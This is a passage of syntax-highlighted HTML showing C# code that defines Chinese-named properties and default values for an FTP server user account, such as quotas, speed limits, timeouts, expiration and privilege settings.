#000000">&nbsp;启用禁用帐号<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Disable;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Disable&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号到期型类<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Expirationtype;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Expirationtype&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号到期时间<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Expiration;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Expiration&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;成员组名称<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Groups;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Groups&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;是否隐藏具有隐藏属性的文件<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;HideHidden;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>HideHidden&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;空闲超时<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;idleTimeOut;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>idleTimeOut&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;登陆消息文件<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;LogMesfile;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>LogMesfile&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;同一IP的最大用户<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;MaxIp;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>MaxIp&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;连接速度&nbsp;单位&nbsp;KB/秒,<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;最大下载链接速度<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;MaxSpeedDown;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>MaxSpeedDown&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;连接速度&nbsp;单位&nbsp;KB/秒,<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;最大上传链接速度<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;MaxSpeedUp;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>MaxSpeedUp&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;最大并发用户<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;MaxUsers;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>MaxUsers&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号名称<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Name;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Name&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;进程加密<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Needsecure;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Needsecure&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;帐号注解<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Notes;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Notes&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;密码类型<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;PassType;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>PassType&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;管理权限<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Privilege;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>Privilege&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;当前磁盘配额<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;QuotaCurrent;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>QuotaCurrent&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;允许配额<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;QuotaEnable;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>QuotaEnable&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;最大磁盘配置额<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;QuotaMax;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>QuotaMax&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;(Convert.ToInt32(value)</SPAN><SPAN style="COLOR: #000000">*</SPAN><SPAN style="COLOR: #000000">1024</SPAN><SPAN style="COLOR: #000000">*</SPAN><SPAN style="COLOR: #000000">1024</SPAN><SPAN style="COLOR: #000000">).ToString();<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;比率信任<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;RatioCredit;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>RatioCredit&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;下载率<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;RatioDown;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>RatioDown&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;比率类型<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;RatioType;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>RatioType&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;上载率<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;RatioUP;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>RatioUP&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;锁定于主目录<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;RelPaths;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>RelPaths&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;进程超时<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;SessionTimeOut;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>SessionTimeOut&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;S_KEY设置<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;SkeyValues;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>SkeyValues&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR><BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;初始化</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Access&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">@"e:\web|RWAMLCDP";</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;AlwaysLogin&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;ChangePass&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Disable&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Expirationtype&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Expiration&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">1980-1-1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Groups&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;HideHidden&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;HomeDir&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">主目录&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;idleTimeOut&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">600</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">毫秒</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;LogMesfile&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">@"</SPAN><SPAN style="COLOR: #000000">http://vs.2288.org/host/copyright.aspx</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;MaxIp&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">-1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;MaxSpeedDown&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">204800</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">下载&nbsp;204800/1024=200KB/秒</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;MaxSpeedUp&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">204800</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">上传</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;MaxUsers&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">-1</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">最大用户连接数</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Name&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Needsecure&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Notes&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: 